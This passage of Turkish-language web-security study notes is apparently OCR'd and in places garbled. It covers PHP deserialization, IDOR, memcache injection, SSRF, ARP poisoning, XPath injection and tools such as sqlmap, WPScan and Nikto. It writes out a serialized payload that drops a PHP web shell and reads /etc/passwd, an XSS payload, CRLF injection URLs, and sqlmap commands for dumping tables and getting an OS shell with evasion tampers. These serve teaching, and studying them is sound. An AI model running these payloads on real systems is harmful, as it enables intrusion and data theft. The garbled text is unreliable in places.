0:6="deneme" : 1: { s:7:"oguzhan"; s:26:"<script>prompt(1)</script>";}

Vee artik browser tizerinden php dosyamizi cagirarak XSS'i gorebiliriz.

Elimde boyle bir serialize edilmis data da var. Biiyiik ihtimalle bir ctf'den kalma.

0:8:"LogClass":2:{s:7:"logFile";s:7:"olusturulacak.php";s:3:"log";s:37:"<?php echo
shell_exec($_GET["x"]); ?>";}

Bunu da olusturulacak.php?x= cat /etc/passwd ile kullanabilmekteyiz.

s:37 iceriginin aciklamasini arbitrary file upload zafiyetini anlatirken yaptik. Eklemek
istedigim bir sey daha var. Class isimlerinin bagsina ve sonuna null byte konulabiliyor. mesela sy1yoruz
10 byte geliyor. 12 byte oldugu yaziyorsa anliyoruz ki basinda ve sonunda nullbyte bulunuyor.

Zafiyetten nasil korunacagiz?
Unserialize fonksiyonunu kullanmayacagiz.

E peki yerine ne kullanacagiz? JSON kullanacaksin.(encode)

! Buradan da anladigimiz iizere(!) zafiyetlerimiz cogu zaman inputlardan kaynaklamiyor. Zafiyet
ararken her zaman inputlar { get, post, cookie, local storage, headers, session , cookie } kontrol
edecegiz.



//PHP bilmedigim icin sinifta kisa kisa OOP'ye deginilmisti.

Insan {class}
kafa

kalp

kiyafet

asker {iniforma
sivil tshirt

memur takim

biz insandaki 6zellikleri askere vb. yiiklemek istiyorsak tekrar yazmayiz.
extends ederiz yani miras 6zelligini kullanmig oluruz.

public

private

protected functions

mesela user password 1 private yaptik ve igerisine public function tanimladik hoop -->
**encapsulation** #cok tath bir sdylenise sahip degil mi?

IDOR ( Insecure Direct Object Referances )

Normalde sistemin arayiiziinde gérmememiz gereken bir sey varsa ve degisken olarak
tutuluyorsa drnegin uyeler.php?id=7 iken id=5 yapinca bagka birisinin iiyelik bilgileri gdziikiiyorsa vb.
islemlerle yetkimiz olmayan yerlere ulasabiliyorsak bu zafiyete IDOR denir. id=1 dedigimizde bizi
adminin tiye bilgilerine yonlendirebilir vb.

Twitter'dan gelen mailler agisindan subscribe from lists kismina tiklandiginda 6rnegin
uyecikar.php?mail=oguzhan.karaaslann@gmail.com 'a istek yapmakta. Biz normal bir {iye olarak
buraya bagka birisinin mail adresini yazdigimizda bagkasinin da unsubscribe olmasini
saglayabiliyoruz. Normalde bizim boyle bir seye yetkimiz yok fakat bu sekilde baska birisini
unsubscribe etme vb. islemleri yetkimiz olmadig1 halde gerceklestirebiliyorsak buna IDOR deniyor.
Cok onceden kapatilmis bir zafiyet. Yerine gore kritik (e.g UBER) yerine gore ¢op bir zafiyet
diyebiliriz.



Korunmak amaciyla yetki yapilandirmasini dogru yapmali her kullanicinin ulasabilecegi

yerleri belirlemeliyiz.
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Eger siz bir iiniversite olarak bir 6grencinin bilgilerini burada oldugu gibi kimlik numarasiyla
tutuyorsamz baska 6grencilerin fotograflarina da biz rahat rahat erisebiliriz.

Memcache Injection

Blackhat'14 'te sunulmus bir zafiyet.

Hiz kazanmak ve veritabanina siirekli istek yaparak veritabanin1 yormamak amaciyla
kullanilmakta. Siirekli istek aldigimizdan dolay: veriyi sunucumuzun RAM'inde belirli bir siire
tutuyor, kullanici istek yaptiginda da bunu RAM iizerinden kullaniciya ulastiriyor. Boylece dedigim
gibi hem hiz kazanmig oluyor hem de database i yormamis oluyoruz.

Wikipedia, Wordpress, Twitter, Youtube, Flickr bu sistemi kullanmakta.

Bir kiitiiphaneyi kullanarak bu islemi gerceklestirirken terminalde;

> set oguzhan 0 3600 9
> karaaslan

< STORED

> get oguzhan

< VALUE oguzhan 0 9
< karaaslan

<END

oguzhan: key
0: sikistrma 0-1 deger aliyor.
3600: datanin RAM iizerinde tutulacag: siire.

9: girecegimiz datamizin byte cinsinden degeri



STORED: aciklamaya pek gerek yok. datanin depolandigini soyliiyor.

get oguzhan: RAM'de tutulan datay: istiyoruz.

VALUE oguzhan 0 9: kendisi otomatik yaziyor.

karaaslan: Evet! Bizim basta tammladigimiz oguzhan keyinin igerisindeki datay bize verdi.

END: *-*

Injection kisminda ise terminalde yaziyor gibi devam edecegiz. Yani terminalde:

oguzhan 0 3600 6 %0d%0a DENEME %0d%0a yaparsam oguzhan key im icerisinde karaaslan yerine
DENEME yazis1 goziikecek. URL'de ise yazmam gereken:

iiye.php?id=oguzhan %0d%0a set oguzhan 0 3600 6 %0d%0a DENEME %0d%0a olacaktir.

%0d%0a: LFCR'in URL encode halidir. Line feed (LF) ve carriage return (CR) den gelmekte. Yani
newline olarak alt satira gegmek icin kullanmiyoruz. Amag eger alt satira gecmek ise %0d%0a yerine
Null Byte (%00) da kullanabilirsiniz. Blackhat14’te yapilan sunum dokiimanindan égrendigim bir
diger sey ise key string inin uzunlugunun maksimum 250 karakter oldugu. Yani biz 251. karakteri girip
bir alt satira gegmesine de zorlayabiliriz.

set keyl 0 30

Zafiyetten Nasil Korunacagiz?

1- Kullandigimiz bazi karakterler vardi. Bunlar LF-CR ve Null Byte'idi. Bunlarin
kullanilmasini engelleyecegiz. Bunun icin de string replace yapacagiz. %0d-%0a-%001n ASCII
kargiliklarini bulup eger bu karakterler girilmisse bunlar kaldiracagiz.

2-Giivenli kiitiiphaneleri kullanacagiz. Bunlar:
--safe--
Pyton'da: python-memcache
Php'de : mamcache

Java'da : java.net.spy.memcached



--vulnerable--

Python'da: Python-pylibmc

Php'de: Memcached

ASP.NET'de: memcacheddotnetproject(1.1.5)

Java'da: com.meetup.memcached

SSRF- SERVER SIDE REQUEST FORGERY

CSRF'in serverda galisani gibi diisiinebiliriz. Temel mantig1 serverdan sirketin i¢ agina istek
yapmak. Genel olarak URL'den img yiikleme, degistirme vb. yerlerde karsimiza ¢ikiyor. Biz ise
zafiyeti kullanarak giiven iligkisi icerisinde olan ipler {izerinden onlara saldiriyoruz.

Arkadaslar firewall'da kisitlama getiriyor bu bu bu iplerden geleni i¢ aga aliyorum vb. Dogal
olarak tiim ag1 nmap ile tarayamiyoruz. Serverda zafiyet var, biz atak vektoriimiizii servera yapinca,
firewall server1 tanidig1 icin, adamlarin kendi serveri iizerinden atak vektoriimiizii internal networkde
meydana getirmis oluyoruz. CSRF'de biz karg: tarafi istek yapmasi i¢in zorlarken SSRF'de serverin
kendisi sunucu ile giiven iligkisinde oldugundan dolay1 yapmak istedigimiz istegi sunucuya
yaptirabiliyoruz.

Anladigimiz tizere firewall un yanlis yapilandirilmasi ve Input Validation eksikliginden dolay1
ortaya cikiyor.



Neler yapabiliyoruz?

1-Dosya okuyabiliyoruz. ( /etc/hosts)
2-Port tarayabiliyoruz. (nmap.scanme.org:22 & nmap.scanme.org:80)
3-Reverse shell (!) alabiliyor, dogal olarak internal networkde yayilabiliyoruz.

#vBulletin'de yaklasik 20 giin 6nce ¢ikan SSRF'i ¢ok giizel anlatmiglar. Okuyun.

// http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt

/1 ssrf local file enumaration igin:
https://conference.hitb.org/hitbsecconf2013ams/materials/D1T1%20-%20VI1adimir%20Vorontsov
%20and%20Alexander%20Golovko%20-%20SSRF%20PWNs%20-%20New%20Techniques%20and
%20Stories.pdf

// ssrf bible cheatsheet de okunmali.

Hocalara sorulan konular genelde web tabanli olmuyordu tabii. ARP Spoofing vb. network
konulari da sik sorulan konular arasindaydi. Web'in disina ¢ikmadan kisa kisa bilgi verelim.

ARP POISONING

ARP, bilgisayarlarin birbirini tanimasi amaciyla kullanilan bir protokol. Yerel ag tizerinde bir
[P'niz var fakat MAC adresiniz bilinmiyorsa bunun tespit edilmesi amaciyla Address Resolution
Protocol kullanilmakta. Nasil isliyor? Bir broadcast yayin yapiliyor. A§ iizerindeki tiim makinelere bir
paket gonderiliyor. Paket icerisinde de paketi gonderen cihazin IP adresi, MAC adresi ve dogal olarak
bizim MAC adresimizin arandig1 IP adresimiz. Gonderilen paket bizim IP adresimize sahip olan
cihaza ulastifinda ise bizim cihazimiz bir cevap gonderiyor. Gonderdigimiz cevapta ise bizim MAC
adresimiz bulunmakta. Temel protokol bu sekilde islemekte. Giinliik hayatta ise sen kimsin ? ben
Oguzhan sen kimsin? Ben Omer. Tamam al bu veriyi seklinde islemekte. Birka¢ ARP Poisoning
teknigimiz var:

1-ARP Tablosunu doldurmak
2-Trafigi dinlemek (MitM)

Saldir1 mantigi: Makineler arp istegi yapiyorlar. Biz bu istekleri gateway'e gelmeden yakaliyoruz.
sahte responselar ile ben artik bir gatewayiiim diyebiliyoruz. Boylece trafigin {izerimizden akmasin
saglayabiliyor vee en sevdigim man in the middle attack saldirimizi gerceklestirebiliyoruz. Bunun igin
Ettercap’i kullanabilir veya basit bir python scripti yazabiliriz. Eger firsatim olmugssa muhtemelen
kiiciik bir scripti githuba atmisimdir :D


https://conference.hitb.org/hitbsecconf2013ams/materials/D1T1%20-%20Vladimir%20Vorontsov%20and%20Alexander%20Golovko%20-%20SSRF%20PWNs%20-%20New%20Techniques%20and%20Stories.pdf
https://conference.hitb.org/hitbsecconf2013ams/materials/D1T1%20-%20Vladimir%20Vorontsov%20and%20Alexander%20Golovko%20-%20SSRF%20PWNs%20-%20New%20Techniques%20and%20Stories.pdf
https://conference.hitb.org/hitbsecconf2013ams/materials/D1T1%20-%20Vladimir%20Vorontsov%20and%20Alexander%20Golovko%20-%20SSRF%20PWNs%20-%20New%20Techniques%20and%20Stories.pdf
http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt

XPATH INJECTION (XML Path Language)

sql mysql mysql

xpath xml simplexml

<uyeler>
<uye id="1">
<username value = "omer" />
</uye>
<uye id="2">
<username value = "murat" />
</uye>

</uyeler>

XML yapist bu sekilde. Verileri uyeler.xml seklinde bdyle tutabiliriz ama bu giivenli degil.
Giinkii XML de HTML gibi browserdan yorumlanabilen bir dildir. eger link/uyeler.xml yaparsak tiim
icerigi gorebiliriz. Bagka bir tutma yontemi de PHP icerisinde yazmak;

$uyeler ="
<uyeler>
<uye id="1">
<username value = "omer" />
</uye>
<uye id="2">
<username value = "murat" />
</uye>
</uyeler>";

seklinde insanlarin gormemesini saglayip verileri file_get_contents() ile ¢ekip giivenligi saglayabiliriz.



// simple_xml_load_file("uyeler.xml") kullanarak id yi degistirdigimizde icerigin degismesini
saglayabiliriz.

Benim XML Path dili hakkinda bir bilgim yok. Necmettin Abi'de hem dili hem de injection
kismum hi¢ bilmeyene anlatir gibi ¢ok giizel anlatmis. Siz de ya cidden bu neymis dur bi okuyayim?
diyorsaniz, buradan devam edelim ----- > http://ha.cker.io/dc48119080fa36fa74a10787045eea2e

TOOLS

Tool kullanimini dogru bulmuyoruz fakat ashinda saldirinin altinda yatan mantigi bilmeden
tool kullanmaya karsiy1z. Yapacagimiz islemi gerceklestirecek bir tool yazdiysak veya bu tool zaten
yazilmigsa neden kullanmayalim degil mi?

Tool icerisinde her parametrenin tek tek ne yaptigini1 bilmemize gerek yok. tooladi --help |
tooladi -h ile parametrelere bakarak kullanabilirsiniz.

*SQLMAP*

-u: url vermek icin kullamyoruz.

--dbs: database i cekmek icin kulaniyoruz.

python sqlmap.py -u "urladresi" --dbs

*timed out yediysek --random-agent kullaniyoruz.

python sqlmap.py -u "urladresi" --dbs --random-agent kullandik.

*database leri bize doktiikten sonra --dbs i silerek

python sqlmap.py -u "urladresi" -D acuart --tables yaziyoruz.

*tablolar cekiyor. bize lazim olan users

python sqlmap.py -u "urladresi" -D acuart -T users --dump


http://ha.cker.io/dc48119080fa36fa74a10787045eea2e

*bize tlim acuart database users 1 dump etmemizi sagliyor.

*onun disinda --dbs yazdiktan sonra request hizimizin database e takilmamasi adina request
araligimizi timeout ile belirleyebiliyoruz.

python sqlmap.py -u "urladresi" --dbs --timeout 10

*1* verbose ile arkada sqlmap in denemis oldugu payloadlar1 gérebiliyoruz. béylece gelen response a
gore kendimiz bir saldir1 vektorii belirleyebiliriz.

python sqlmap.py -u "urladresi" --dbs -v 3

*sqglmap file upload icin --es-shell komutunu kulamyoruz.

python sqlmap.py -u "urladresi" --random-agent --os-shell

*1* Tamper Script:

"tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode
,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percen
tage,

randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicqu
otes"

python sqlmap.py -u "urladresi" --random-agent --timeout 15
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,
charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percent
age,

randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicqu
otes --level=5 --risk=3



*WPSCAN*

wpscan --url oguzhankaraaslan.com

*BURP SUITE*

Burp'ii yukarida sik sik kullandik. En cok Intruder, Repeater, Spider, Intercept fonksiyonlarini
kullaniyoruz.

*JOOMSCAN*

JoomScan'i WPscan in joomla editionu gibi diisiinebiliriz.
joomscan -u http://joomla.org

/1 server, plugin , firewall, vulnerabiliy bilgisini veren detayli bir tarama yapiyor.

*NIKTO*

nikto -host 10.47.172.242
nikto -host http://joomla.org

nikto -host ile tarayacagimiz site veya ip sini veriyoruz. Fakat spesifik bir path tarayamiyoruz.
/deneme/1/2/3.php gibi

Aktarmak istediklerim bu kadar. Umarim igimize bir sekilde yarar. Icerigi ¢ok ayrintih
aktarmamig olsam da 101 acisindan yeterli oldugunu diisiiniiyorum. Dokiiman Github’da da olacak
yazdigim/yazmaya calistigim yerlerde goziimden kagan, yanhs 6grendigim seyler var ise bir PR
yollayabilirsiniz benim de eksiklerimi kapatmis olursunuz :)
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